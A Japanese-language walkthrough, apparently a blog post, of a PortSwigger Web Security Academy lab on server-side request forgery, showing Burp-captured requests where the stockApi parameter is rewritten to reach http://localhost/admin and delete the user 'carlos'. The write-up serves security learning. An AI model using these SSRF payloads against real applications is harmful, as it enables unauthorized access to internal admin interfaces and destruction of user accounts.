Hello there, ('ω')ノ
このラボでは、SSRF(Server-Side Request Forgery)を利用して管理インターフェースにアクセスし、ユーザー「carlos」を削除する ことが目的です。
アプリケーションには「在庫チェック機能」があり、これが 内部システムのデータを取得する ようになっています。この機能を悪用して、サーバー自身の管理ページ(http://localhost/admin
)にアクセスします。
🔍 攻撃の手順
1. 直接 /admin
にアクセスできるか確認する
まず、ブラウザで http://YOUR-LAB-ID.web-security-academy.net/admin
にアクセスしてみます。
→ アクセス拒否されることを確認 してください。
これは、管理者ページが 外部アクセスをブロック しているためです。
ただし、サーバー内部からのリクエストならアクセスできる可能性があります。
2. 在庫チェック機能を利用してリクエストを傍受する
次に、SSRFのエントリーポイントを探すために「在庫チェック機能」を利用 します。
- 任意の製品ページを開く
- 「Check stock(在庫を確認)」ボタンをクリック
- Burp Suite を起動し、リクエストをキャプチャする
リクエストの例:
POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=6&storeId=1
このリクエストは、サーバーが 指定されたURLにリクエストを送信する 仕組みになっています。
ここで stockApi
パラメータを悪用 すれば、サーバー自身(localhost)へのリクエストを強制できます。
3. stockApi
パラメータを書き換えて /admin
にアクセスする
Burp Suite の Repeater にリクエストを送信し、stockApi
を http://localhost/admin
に変更します。
修正後のリクエスト:
POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin
▶ 「Send」ボタンをクリックして実行
✅ 成功すると、レスポンスに /admin
のHTMLが含まれるはずです。
✅ HTMLを解析し、削除リクエストのURLを探します。
4. ユーザー「carlos」を削除する
レスポンスのHTMLを確認すると、管理インターフェースにユーザー削除機能があることがわかります。
例えば、次のような削除リンクが存在するかもしれません。
<a href="/admin/delete?username=carlos">Delete carlos</a>
これを利用し、stockApi
のURLを /admin/delete?username=carlos
に変更 します。
最終リクエスト:
POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin/delete?username=carlos
▶ 「Send」ボタンをクリック
✅ 成功すると、carlos のアカウントが削除され、ラボがクリアされます!
🎯 まとめ
- 直接
/admin
にアクセスできないことを確認 - 在庫チェック機能を使い、Burp Suite でリクエストをキャプチャ
stockApi
をhttp://localhost/admin
に変更し、管理ページのHTMLを取得stockApi
をhttp://localhost/admin/delete?username=carlos
に変更し、ユーザーを削除- ラボクリア!🎉
Best regards, (^^ゞ